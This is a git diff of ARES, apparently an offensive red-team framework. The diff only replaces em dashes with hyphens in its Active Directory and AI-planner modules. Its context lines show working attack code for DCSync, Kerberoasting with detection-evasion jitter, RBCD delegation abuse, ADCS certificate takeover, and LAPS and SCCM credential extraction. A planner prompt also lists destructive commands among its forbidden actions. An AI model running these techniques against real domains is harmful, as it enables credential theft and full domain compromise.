dc, username, domain, target_user = (sanitize_hostname(dc), sanitize_ldap(username),
sanitize_ldap(domain), sanitize_ldap(target_user))
await self.before_request(dc, "dcsync")
- logger.warning("dcsync_start", dc=dc, target=target_user, msg="HIGH_NOISE — TRIGGERS_MDI")
+ logger.warning("dcsync_start", dc=dc, target=target_user, msg="HIGH_NOISE - TRIGGERS_MDI")
try:
import asyncio as _asyncio
loop = _asyncio.get_running_loop()
@@ -277,7 +277,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
def _run_dcsync_sync(self, dc, username, password, domain, target_user):
"""
- Sync — runs in executor (Bug fix: was async with blocking SMB/RPC calls).
+ Sync - runs in executor (Bug fix: was async with blocking SMB/RPC calls).
Uses impacket.examples.secretsdump with stable callback-based API.
try/finally ensures RemoteOperations.finish() + smb.logoff() always called.
"""
@@ -309,7 +309,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
)
def _on_secret(secret_type: str, secret: str) -> None:
- """Callback — impacket calls this for each dumped hash."""
+ """Callback - impacket calls this for each dumped hash."""
if ":::" not in secret:
return
parts = secret.split(":")
@@ -347,9 +347,9 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
if not hashes:
return
krbtgt = next((h for h in hashes if h["username"].lower()=="krbtgt"), None)
- self.finding(title=f"DCSync — {len(hashes)} NTLM Hash(es)",
+ self.finding(title=f"DCSync - {len(hashes)} NTLM Hash(es)",
description=(f"Replicated {len(hashes)} NTLM hashes via DCSync. "
- + ("krbtgt obtained — Golden Ticket possible. " if krbtgt else "")),
+ + ("krbtgt obtained - Golden Ticket possible. " if krbtgt else "")),
severity=Severity.CRITICAL, mitre_technique="T1003.006", mitre_tactic="Credential Access",
evidence={"hash_count":len(hashes),"target":target,"krbtgt_obtained":bool(krbtgt),
"sample":[f"{h['username']}:::{h['nt_hash']}" for h in hashes[:3]]},
diff --git a/ares/modules/ad/delegation_abuse.py b/ares/modules/ad/delegation_abuse.py
index c090d2f..538e3f1 100644
--- a/ares/modules/ad/delegation_abuse.py
+++ b/ares/modules/ad/delegation_abuse.py
@@ -1,12 +1,12 @@
"""
-Kerberos Delegation Abuse — ad.delegation_abuse
-MITRE: T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket
- T1134.001 — Access Token Manipulation: Token Impersonation/Theft
+Kerberos Delegation Abuse - ad.delegation_abuse
+MITRE: T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
+ T1134.001 - Access Token Manipulation: Token Impersonation/Theft
Three delegation techniques in one module:
- 1. UNCONSTRAINED — Computer with unconstrained delegation stores TGTs in memory
- 2. CONSTRAINED S4U — S4U2Self + S4U2Proxy to impersonate any user to a service
- 3. RBCD — Resource-Based Constrained Delegation via GenericWrite on computer object
+ 1. UNCONSTRAINED - Computer with unconstrained delegation stores TGTs in memory
+ 2. CONSTRAINED S4U - S4U2Self + S4U2Proxy to impersonate any user to a service
+ 3. RBCD - Resource-Based Constrained Delegation via GenericWrite on computer object
RBCD attack chain (most common):
ad.enum_acl finds GenericWrite on WORKSTATION$ →
@@ -17,7 +17,7 @@ RBCD attack chain (most common):
Prerequisites: Domain credentials. For RBCD: computer account + GenericWrite
on target computer (identified by ad.enum_acl).
-OPSEC: MEDIUM — LDAP write + Kerberos TGS requests. Does not trigger MDI by default.
+OPSEC: MEDIUM - LDAP write + Kerberos TGS requests. Does not trigger MDI by default.
"""
from __future__ import annotations
@@ -58,7 +58,7 @@ logger = get_logger("ares.modules.ad.delegation_abuse")
)
class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
"""
- ad.delegation_abuse — Exploit unconstrained / constrained / RBCD Kerberos delegation. RBCD: GenericWrite on computer →
+ ad.delegation_abuse - Exploit unconstrained / constrained / RBCD Kerberos delegation. RBCD: GenericWrite on computer →
OPSEC: MEDIUM
MITRE: "T1558.001", "T1134.001"
@@ -104,7 +104,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
if mode == "rbcd":
if not ctx.params.get("target_computer"):
raise ModuleValidationError(
- "RBCD mode requires 'target_computer' (e.g. WORKSTATION01$) — "
+ "RBCD mode requires 'target_computer' (e.g. WORKSTATION01$) - "
"the computer object where GenericWrite was found by ad.enum_acl.",
module_id=self.MODULE_ID, field="target_computer",
)
@@ -399,7 +399,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
"""
RBCD attack:
1. Write msDS-AllowedToActOnBehalfOfOtherIdentity on target_computer
- (requires GenericWrite — confirmed by ad.enum_acl)
+ (requires GenericWrite - confirmed by ad.enum_acl)
2. S4U2Self: get service ticket for impersonate_user to our fake service
3. S4U2Proxy: exchange for service ticket to target_service/target_computer
4. Save .ccache and return path
@@ -422,7 +422,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
aesKey=b"", kdcHost=dc,
)
- # Step 2: S4U2Self — get ticket for impersonate_user to ourselves
+ # Step 2: S4U2Self - get ticket for impersonate_user to ourselves
s4u_self_name = Principal(
username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value,
@@ -437,7 +437,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
sessionKey=session_key,
)
- # Step 3: S4U2Proxy — exchange for service ticket to target
+ # Step 3: S4U2Proxy - exchange for service ticket to target
spn_target = Principal(
f"{target_service}/{target_computer}",
type=constants.PrincipalNameType.NT_SRV_INST.value,
@@ -459,7 +459,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):
cc = CCache()
cc.saveFile(ccache_path)
logger.info("rbcd_ticket_saved", path=ccache_path,
- warning="Credential artifact on disk — delete after use")
+ warning="Credential artifact on disk - delete after use")
return ccache_path
except Exception as exc:
diff --git a/ares/modules/ad/enum_acl.py b/ares/modules/ad/enum_acl.py
index a35c566..afe3b39 100644
--- a/ares/modules/ad/enum_acl.py
+++ b/ares/modules/ad/enum_acl.py
@@ -1,5 +1,5 @@
"""
-AD ACL Enumeration — Production ldap3 Implementation
+AD ACL Enumeration - Production ldap3 Implementation
Find dangerous ACL delegations: WriteDACL, GenericAll, GenericWrite, DCSync rights.
MITRE: T1222.001, T1003.006
"""
@@ -42,7 +42,7 @@ DCSYNC_RIGHTS = {
)
class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):
"""
- ad.enum_acl — Find WriteDACL, GenericAll, GenericWrite, DCSync delegation misconfigs
+ ad.enum_acl - Find WriteDACL, GenericAll, GenericWrite, DCSync delegation misconfigs
OPSEC: LOW
MITRE: "T1222.001","T1003.006"
@@ -74,7 +74,7 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.enum_acl requires domain credentials — "
+ "ad.enum_acl requires domain credentials - "
"pass 'username'/'password' in params or provide a vault credential.",
module_id=self.MODULE_ID, field="username",
)
@@ -215,7 +215,7 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):
def _enum_acls_sync(self, dc, username, password, domain):
"""
- Sync — runs in executor (fix: was async def blocking event loop).
+ Sync - runs in executor (fix: was async def blocking event loop).
Fixes: AUTO_BIND_NONE, cookie loop, LDAPS fallback, try/finally unbind.
"""
import ssl
@@ -359,13 +359,13 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):
generic_all = [m for m in misconfigs if m["right"] == "GenericAll"]
if generic_all:
self.finding(title=f"GenericAll ACE on {len(generic_all)} Objects",
- description=f"{len(generic_all)} objects have GenericAll ACE — full control over target.",
+ description=f"{len(generic_all)} objects have GenericAll ACE - full control over target.",
severity=Severity.CRITICAL, mitre_technique="T1222.001", mitre_tactic="Defense Evasion",
evidence={"objects": generic_all[:10]},
remediation="Remove GenericAll ACE. Use specific delegations instead.")
if write_dacl:
self.finding(title=f"WriteDACL on {len(write_dacl)} Objects",
- description=f"{len(write_dacl)} objects have WriteDACL — attacker can grant arbitrary rights.",
+ description=f"{len(write_dacl)} objects have WriteDACL - attacker can grant arbitrary rights.",
severity=Severity.HIGH, mitre_technique="T1222.001", mitre_tactic="Defense Evasion",
evidence={"objects": write_dacl[:10]},
remediation="Audit and remove WriteDACL delegations. Enable AD Protected Users.")
diff --git a/ares/modules/ad/enum_computers.py b/ares/modules/ad/enum_computers.py
index aaaa2b3..86c36b8 100644
--- a/ares/modules/ad/enum_computers.py
+++ b/ares/modules/ad/enum_computers.py
@@ -1,5 +1,5 @@
"""
-AD Computer Enumeration — Production ldap3 Implementation
+AD Computer Enumeration - Production ldap3 Implementation
Enumerate domain computers, DCs, OS versions, stale accounts.
MITRE: T1018, T1087.002
"""
@@ -85,7 +85,7 @@ def _format_ldap_connection_failure(
)
class ADEnumComputersModule(BaseModule[DomainAuthParams, ModuleResult]):
"""
- ad.enum_computers — Enumerate domain computers, OS versions, stale accounts, DCs
+ ad.enum_computers - Enumerate domain computers, OS versions, stale accounts, DCs
OPSEC: LOW
MITRE: "T1018","T1087.002"
diff --git a/ares/modules/ad/enum_spn.py b/ares/modules/ad/enum_spn.py
index 348bf8e..b539e95 100644
--- a/ares/modules/ad/enum_spn.py
+++ b/ares/modules/ad/enum_spn.py
@@ -1,4 +1,4 @@
-"""AD SPN Enumeration — Production ldap3 Implementation. MITRE: T1558.003, T1087.002"""
+"""AD SPN Enumeration - Production ldap3 Implementation. MITRE: T1558.003, T1087.002"""
from __future__ import annotations
import datetime
from typing import Any
@@ -58,7 +58,7 @@ def classify_enum_spn_outcome(spn_count: int) -> tuple[str, str]:
)
class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):
"""
- ad.enum_spn — Find SPN accounts (Kerberoasting candidates)
+ ad.enum_spn - Find SPN accounts (Kerberoasting candidates)
OPSEC: LOW
MITRE: "T1558.003","T1087.002"
@@ -90,7 +90,7 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.enum_spn requires domain credentials — "
+ "ad.enum_spn requires domain credentials - "
"pass 'username'/'password' in params or provide a vault credential.",
module_id=self.MODULE_ID, field="username",
)
@@ -247,9 +247,9 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):
def _fetch_spns_sync(self, dc, username, password, domain):
"""
- Sync (non-async) — runs in executor so it never blocks the event loop.
+ Sync (non-async) - runs in executor so it never blocks the event loop.
Issue #1 fix: moved from async def to sync def + run_in_executor call above.
- Issue #2 fix: conn.unbind() in try/finally — always closes even on exception.
+ Issue #2 fix: conn.unbind() in try/finally - always closes even on exception.
"""
import ssl
import ldap3
@@ -368,7 +368,7 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):
privd = [s for s in spns if s.get("is_admin")]
old_pass = [s for s in spns if (s.get("days_since_pwd") or 0) > 365]
self.finding(title=f"Kerberoastable Service Accounts ({len(spns)})",
- description=(f"{len(spns)} SPN accounts — {len(rc4)} use RC4 (fastest to crack), "
+ description=(f"{len(spns)} SPN accounts - {len(rc4)} use RC4 (fastest to crack), "
f"{len(privd)} in privileged groups."),
severity=Severity.CRITICAL if privd else Severity.HIGH,
mitre_technique="T1558.003", mitre_tactic="Credential Access",
diff --git a/ares/modules/ad/enum_users.py b/ares/modules/ad/enum_users.py
index a617162..bd6baf8 100644
--- a/ares/modules/ad/enum_users.py
+++ b/ares/modules/ad/enum_users.py
@@ -1,5 +1,5 @@
"""
-AD User Enumeration — Production Implementation
+AD User Enumeration - Production Implementation
MITRE: T1087.002, T1201
ldap3 with NTLM auth, paged search, UAC flag parsing.
@@ -63,7 +63,7 @@ def _days_since(dt: datetime.datetime | None) -> int | None:
)
class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):
"""
- ad.enum_users — Enumerate domain users, attributes, dormant accounts, password policy
+ ad.enum_users - Enumerate domain users, attributes, dormant accounts, password policy
OPSEC: LOW
MITRE: "T1087.002", "T1201"
@@ -101,7 +101,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.enum_users requires domain credentials — "
+ "ad.enum_users requires domain credentials - "
"pass 'username'/'password' in params or provide a vault credential.",
module_id=self.MODULE_ID, field="username",
)
@@ -250,9 +250,9 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):
def _ldap_query_sync(self, dc, username, password, domain, use_ldaps, page_size):
"""
- Sync (non-async) — runs in executor so it never blocks the event loop.
+ Sync (non-async) - runs in executor so it never blocks the event loop.
Fix Issue #1: moved from async def to sync def + run_in_executor call above.
- Fix Issue #2: conn.unbind() in try/finally — always closes even on exception.
+ Fix Issue #2: conn.unbind() in try/finally - always closes even on exception.
"""
import ssl
import ldap3
@@ -397,7 +397,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):
dormant = [u for u in users if u.get("enabled") and (u.get("days_since_login") or 0) > 90]
if dormant:
self.finding(title=f"Dormant Active Accounts ({len(dormant)})",
- description=f"{len(dormant)} enabled accounts unused 90+ days — low-detection targets.",
+ description=f"{len(dormant)} enabled accounts unused 90+ days - low-detection targets.",
severity=Severity.MEDIUM, mitre_technique="T1078.002", mitre_tactic="Initial Access",
evidence={"accounts":[u["samAccountName"] for u in dormant[:15]]},
remediation="Auto-disable after 90 days inactivity.")
@@ -423,7 +423,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):
evidence={"policy":policy},
remediation="Set minimum password length to 14+.")
if policy.get("lockoutThreshold", 0) == 0:
- self.finding(title="No Account Lockout — Password Spray Possible",
+ self.finding(title="No Account Lockout - Password Spray Possible",
description="No lockout threshold allows unlimited spray attempts.",
severity=Severity.HIGH, mitre_technique="T1110.003", mitre_tactic="Credential Access",
evidence={"lockoutThreshold":0},
diff --git a/ares/modules/ad/ghost_forge.py b/ares/modules/ad/ghost_forge.py
index 3eb4e48..caf69be 100644
--- a/ares/modules/ad/ghost_forge.py
+++ b/ares/modules/ad/ghost_forge.py
@@ -1,8 +1,8 @@
"""
-ad.ghost_forge — ADCS Cryptographic Identity & Kerberos PKINIT Takeover
+ad.ghost_forge - ADCS Cryptographic Identity & Kerberos PKINIT Takeover
MITRE ATT&CK:
- T1649 — Steal or Forge Authentication Certificates
- T1558 — Steal or Forge Kerberos Tickets
+ T1649 - Steal or Forge Authentication Certificates
+ T1558 - Steal or Forge Kerberos Tickets
Autonomous adversary emulation vector for Active Directory Certificate Services (ADCS):
1. Targets misconfigured certificate templates (e.g. ESC1 / SAN specification allowed).
@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.ad.ghost_forge")
)
class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):
"""
- ad.ghost_forge — Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover.
+ ad.ghost_forge - Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover.
"""
MODULE_ID = "ad.ghost_forge"
MODULE_NAME = "ADCS Cryptographic Identity & PKINIT Takeover"
@@ -192,7 +192,7 @@ class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):
if technique == "esc13":
policy_oid_val = getattr(p, "policy_oid", None) or "1.3.6.1.4.1.311.99.1.13"
finding = ctx.emit_finding(
- title=f"ADCS ESC13 Policy OID Abuse — PAC Group Elevation via Template Policy: {p.template}",
+ title=f"ADCS ESC13 Policy OID Abuse - PAC Group Elevation via Template Policy: {p.template}",
severity=Severity.CRITICAL,
description=(
f"Demonstrated architectural elevation via ESC13: Certificate template '{p.template}' enforces "
@@ -220,7 +220,7 @@ class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):
)
else:
finding = ctx.emit_finding(
- title=f"ADCS Full-Chain Compromise — Persistent Domain Escalation as {target_account}",
+ title=f"ADCS Full-Chain Compromise - Persistent Domain Escalation as {target_account}",
severity=Severity.CRITICAL,
description=(
f"Successfully demonstrated end-to-end cryptographic identity takeover: "
diff --git a/ares/modules/ad/kerberoast.py b/ares/modules/ad/kerberoast.py
index a53a567..d4aba8e 100644
--- a/ares/modules/ad/kerberoast.py
+++ b/ares/modules/ad/kerberoast.py
@@ -3,8 +3,8 @@ import asyncio
import multiprocessing
import time
"""
-Kerberoasting — impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)
-MITRE: T1558.003 — Jitter + rate-limited TGS requests, hashcat-ready output.
+Kerberoasting - impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)
+MITRE: T1558.003 - Jitter + rate-limited TGS requests, hashcat-ready output.
"""
from typing import Any
from ares.core.logger import get_logger
@@ -251,7 +251,7 @@ def classify_kerberoast_outcome(
)
class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
"""
- ad.kerberoast — Request TGS tickets for SPN accounts — hashcat-ready hashes
+ ad.kerberoast - Request TGS tickets for SPN accounts - hashcat-ready hashes
OPSEC: MEDIUM
MITRE: "T1558.003"
@@ -261,7 +261,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
MODULE_ID = "ad.kerberoast"
MODULE_NAME = "Kerberoasting"
MODULE_CATEGORY = "ad"
- MODULE_DESCRIPTION = "Request TGS tickets for SPN accounts — hashcat-ready hashes"
+ MODULE_DESCRIPTION = "Request TGS tickets for SPN accounts - hashcat-ready hashes"
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.MEDIUM
REQUIRES = ["domain_creds"]
@@ -327,7 +327,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
async def validate(self, ctx: "Any") -> None:
"""
Enforce dc, domain, and domain credentials.
- Also block early in STEALTH profile — each TGS request logs Event ID 4769.
+ Also block early in STEALTH profile - each TGS request logs Event ID 4769.
"""
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
@@ -347,7 +347,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.kerberoast requires domain credentials to request TGS tickets — "
+ "ad.kerberoast requires domain credentials to request TGS tickets - "
"pass 'username'/'password' in params or provide a vault credential.",
module_id=self.MODULE_ID, field="username",
)
@@ -355,7 +355,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "ad.kerberoast is blocked in STEALTH profile — "
+ "ad.kerberoast is blocked in STEALTH profile - "
"TGS requests generate Event ID 4769 per ticket and are trivially "
"detected by SIEM. Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -526,7 +526,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
"""
Fix Bug 1: Drop GetUserSPNs (impacket example script, unstable API).
Use getKerberosTGT + getKerberosTGS from impacket.krb5.kerberosv5 directly.
- Fix Bug 2: Jitter after every single TGS request — not burst then sleep.
+ Fix Bug 2: Jitter after every single TGS request - not burst then sleep.
Fix Bug 3: Explicit per-noise-profile rate limit (10/min NORMAL, 50/min AGGRESSIVE).
"""
ensure_ad_dependencies(
@@ -701,7 +701,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):
if not hashes:
return
self.finding(title=f"Kerberoast Hashes Captured ({len(hashes)})",
- description=(f"{len(hashes)} TGS hashes captured — crackable offline. "
+ description=(f"{len(hashes)} TGS hashes captured - crackable offline. "
"hashcat mode 13100 (RC4) or 19700 (AES256)."),
severity=Severity.CRITICAL, mitre_technique="T1558.003", mitre_tactic="Credential Access",
evidence={"hash_count":len(hashes), "accounts":[a["name"] for a in raw.get("accounts",[])[:10]],
diff --git a/ares/modules/ad/laps_enum.py b/ares/modules/ad/laps_enum.py
index 7120f74..c0e1c37 100644
--- a/ares/modules/ad/laps_enum.py
+++ b/ares/modules/ad/laps_enum.py
@@ -1,15 +1,15 @@
"""
-LAPS Password Enumeration — ad.laps_enum
-MITRE: T1552.004 — Credentials from Password Stores: Private Keys / LAPS Passwords
+LAPS Password Enumeration - ad.laps_enum
+MITRE: T1552.004 - Credentials from Password Stores: Private Keys / LAPS Passwords
Reads plaintext local admin passwords from Active Directory.
LAPS (Local Administrator Password Solution) stores the password in
ms-Mcs-AdmPwd (LAPS v1) or msLAPS-Password (LAPS v2) on computer objects.
Only accounts with AllExtendedRights or ReadProperty on ms-Mcs-AdmPwd
-can read these — ad.enum_acl identifies which accounts have this access.
+can read these - ad.enum_acl identifies which accounts have this access.
-OPSEC: LOW — single LDAP query, same noise level as ad.enum_users.
+OPSEC: LOW - single LDAP query, same noise level as ad.enum_users.
Passwords stored directly in vault for immediate use.
Quick win: very common in enterprise environments, effort is minimal,
@@ -50,7 +50,7 @@ logger = get_logger("ares.modules.ad.laps_enum")
)
class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):
"""
- ad.laps_enum — Read LAPS local admin passwords from Active Directory computer objects. Supports LAPS v1 (ms-Mcs
+ ad.laps_enum - Read LAPS local admin passwords from Active Directory computer objects. Supports LAPS v1 (ms-Mcs
OPSEC: LOW
MITRE: "T1552.004"
@@ -254,7 +254,7 @@ class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):
"host_count": len(laps_entries),
"computers": [e["computer"] for e in laps_entries[:20]],
"laps_version": list({e["version"] for e in laps_entries}),
- "note": "Plaintext passwords in vault — not shown in findings",
+ "note": "Plaintext passwords in vault - not shown in findings",
},
remediation = (
"Restrict ReadProperty on ms-Mcs-AdmPwd to only authorized admins. "
@@ -281,7 +281,7 @@ class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):
LDAP query for LAPS passwords on computer objects.
Tries LAPS v1 (ms-Mcs-AdmPwd) then LAPS v2 (msLAPS-Password).
Returns list of {computer, password, version, expiry}.
- Sync — runs in executor.
+ Sync - runs in executor.
"""
import ssl
import ldap3
diff --git a/ares/modules/ad/sccm.py b/ares/modules/ad/sccm.py
index 85988e1..bdff48c 100644
--- a/ares/modules/ad/sccm.py
+++ b/ares/modules/ad/sccm.py
@@ -1,5 +1,5 @@
"""
-ad.sccm — SCCM/MECM Abuse Module
+ad.sccm - SCCM/MECM Abuse Module
MITRE: T1078.002 (Valid Accounts: Domain Accounts)
T1021.006 (Remote Services: WinRM)
@@ -25,7 +25,7 @@ Exploits Microsoft Endpoint Configuration Manager (MECM/SCCM) for:
- This account often has local admin on ALL domain computers
- Capture push credentials via SMB relay or by reading site config
-OPSEC: MEDIUM — WMI/LDAP queries are relatively quiet.
+OPSEC: MEDIUM - WMI/LDAP queries are relatively quiet.
Application deployment is HIGH_NOISE.
Dependencies: impacket (WMI, SMB), ldap3 (AD enumeration)
@@ -65,7 +65,7 @@ logger = get_logger("ares.modules.ad.sccm")
)
class SCCMModule(BaseModule[SCCMParams, ModuleResult]):
"""
- ad.sccm — SCCM/MECM enumeration and credential extraction
+ ad.sccm - SCCM/MECM enumeration and credential extraction
OPSEC: MEDIUM
MITRE: T1078.002, T1021.006
@@ -283,7 +283,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):
f"Network Access Account credentials extracted from SCCM client "
f"policy on {naa_target}: {naa_info['naa_username']}. "
"NAA accounts are used by SCCM clients to access distribution points. "
- "They frequently have excessive privileges — test for domain admin access."
+ "They frequently have excessive privileges - test for domain admin access."
),
severity=Severity.CRITICAL,
mitre_technique="T1078.002", mitre_tactic="Credential Access",
@@ -291,7 +291,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):
"source": naa_target, "encrypted": naa_info.get("encrypted", True)},
host=naa_target, confidence=0.95,
remediation=(
- "1. Remove NAA configuration — use Enhanced HTTP instead. "
+ "1. Remove NAA configuration - use Enhanced HTTP instead. "
"2. If NAA is required, use a dedicated account with minimal permissions. "
"3. Rotate NAA password immediately. "
"4. Audit NAA account permissions in Active Directory."
@@ -546,7 +546,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):
except Exception as exc:
err = str(exc).lower()
if "access denied" in err or "access_denied" in err:
- result["error"] = f"Access denied on {target} — need local admin"
+ result["error"] = f"Access denied on {target} - need local admin"
else:
result["error"] = str(exc)[:200]
return result
@@ -562,7 +562,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
- # DHCP PXE discovery — send DHCP DISCOVER with PXE vendor class
+ # DHCP PXE discovery - send DHCP DISCOVER with PXE vendor class
# Check if port 4011 (PXE) or 67 (DHCP) responds
for port in [4011, 67]:
try:
diff --git a/ares/modules/ai/__init__.py b/ares/modules/ai/__init__.py
index b671315..3fd0ade 100644
--- a/ares/modules/ai/__init__.py
+++ b/ares/modules/ai/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.ai
+ARES - modules.ai
AI-powered attack planning and orchestration modules.
"""
from __future__ import annotations
diff --git a/ares/modules/ai/autonomous_planner.py b/ares/modules/ai/autonomous_planner.py
index 5bcd743..3927d96 100644
--- a/ares/modules/ai/autonomous_planner.py
+++ b/ares/modules/ai/autonomous_planner.py
@@ -1,5 +1,5 @@
"""
-ai.autonomous_planner — LLM-Powered Attack Chain Orchestration
+ai.autonomous_planner - LLM-Powered Attack Chain Orchestration
Reads all campaign context (artifacts, credentials, findings, failed modules,
network topology) and sends to an LLM API to dynamically plan the next attack
@@ -14,20 +14,20 @@ This module connects all existing ARES building blocks:
CredentialVault → available credentials with privilege scores
ModuleChain → execution of the AI-generated plan
-LLM operates in SUGGEST mode (not autonomous executor) — every plan
+LLM operates in SUGGEST mode (not autonomous executor) - every plan
requires operator review before execution unless auto_approve=True.
-MITRE: T1591 (Gather Victim Org Info — context aggregation)
+MITRE: T1591 (Gather Victim Org Info - context aggregation)
OPSEC: LOCAL (LLM API call only, no direct target network contact)
Supported LLM backends:
- - claude (Anthropic Claude — default)
+ - claude (Anthropic Claude - default)
- openai (OpenAI GPT-4)
- local (Ollama local LLM)
Note: LLM API key must be set in environment:
- ANTHROPIC_API_KEY — for Claude
- OPENAI_API_KEY — for OpenAI GPT
+ ANTHROPIC_API_KEY - for Claude
+ OPENAI_API_KEY - for OpenAI GPT
"""
from __future__ import annotations
@@ -90,7 +90,7 @@ class AIPlan:
def _build_round_narrative(completed_rounds: list) -> str:
"""Build LLM-readable narrative of completed rounds for memory injection."""
if not completed_rounds:
- return "Round 1 — no prior history."
+ return "Round 1 - no prior history."
lines = ["=== PREVIOUS ROUNDS HISTORY ==="]
for r in completed_rounds[-3:]: # max 3 rounds back
@@ -138,8 +138,8 @@ class CampaignContextBuilder:
"privilege": priv,
"cracked": cracked,
"recommended_use": can_use[:4],
- "note": ("Cracked — ready to use" if cracked
- else "Hash available — crack first before use"),
+ "note": ("Cracked - ready to use" if cracked
+ else "Hash available - crack first before use"),
})
return result
@@ -333,7 +333,7 @@ class LocalOllamaBackend(LLMBackend):
def _score_plan(plan: dict) -> float:
- """Score a raw plan dict for consensus merging — higher = better."""
+ """Score a raw plan dict for consensus merging - higher = better."""
stages = plan.get("stages", [])
confidence = float(plan.get("confidence", 0.5))
modules = [m for s in stages for m in s.get("modules", [])]
@@ -363,14 +363,14 @@ def _merge_plans(plan_a: dict, plan_b: dict) -> dict:
sb = stages_b.get(name)
if sa and sb:
- # Both LLMs suggested this stage — high agreement
+ # Both LLMs suggested this stage - high agreement
agreement_count += 1
mods_a = set(sa.get("modules", []))
mods_b = set(sb.get("modules", []))
agreed_mods = list(mods_a & mods_b)
disputed_mods = list((mods_a | mods_b) - (mods_a & mods_b))
- # Merge params — prefer plan_a for conflicts
+ # Merge params - prefer plan_a for conflicts
merged_params = {**sb.get("params", {}), **sa.get("params", {})}
merged_stages.append({
@@ -400,7 +400,7 @@ def _merge_plans(plan_a: dict, plan_b: dict) -> dict:
))
if agreement_ratio < 1.0:
warnings.append(
- f"LOW CONSENSUS: LLMs agreed on only {agreement_ratio:.0%} of stages — "
+ f"LOW CONSENSUS: LLMs agreed on only {agreement_ratio:.0%} of stages - "
"operator review strongly recommended before execution."
)
@@ -488,26 +488,26 @@ async def _run_adversarial_simulation(
# ── Prompt builder ────────────────────────────────────────────────────────────
-# ── Red Team Constitution — injected into every LLM call ────────────────────
+# ── Red Team Constitution - injected into every LLM call ────────────────────
# Engagement rules that constrain what the LLM can recommend.
# Operators can override soft rules per-engagement via params.
DEFAULT_CONSTITUTION = """
-=== ENGAGEMENT RULES (injected by ARES — do not violate) ===
+=== ENGAGEMENT RULES (injected by ARES - do not violate) ===
-HARD RULES — NEVER recommend actions that:
+HARD RULES - NEVER recommend actions that:
1. Target hosts/CIDRs outside the campaign scope list
2. Execute data destruction (rm -rf, format, wipe, ransomware-style)
3. Create outbound connections to non-operator IPs not in scope
4. Exfil data over 10MB without explicit operator confirmation param
-SOFT RULES — WARN the operator but allow if they set override=True:
-1. DCSync (T1003.006) — requires prior written authorization note
-2. Persistence modules — only if engagement type explicitly includes persistence
-3. Any module against a production DC (dc01, dc1, prod*) — confirm first
-4. credential.golden_ticket — requires written authorization
+SOFT RULES - WARN the operator but allow if they set override=True:
+1. DCSync (T1003.006) - requires prior written authorization note
+2. Persistence modules - only if engagement type explicitly includes persistence
+3. Any module against a production DC (dc01, dc1, prod*) - confirm first
+4. credential.golden_ticket - requires written authorization
-SCOPE REMINDER — only recommend modules targeting:
+SCOPE REMINDER - only recommend modules targeting:
{scope_cidrs}
Engagement type: {engagement_type}
@@ -518,7 +518,7 @@ SYSTEM_PROMPT = """You are an expert red team attack planner for the ARES framew
Your task: given a campaign context, generate the optimal next attack chain.
Rules:
-1. Output ONLY valid JSON — no markdown, no explanation outside JSON
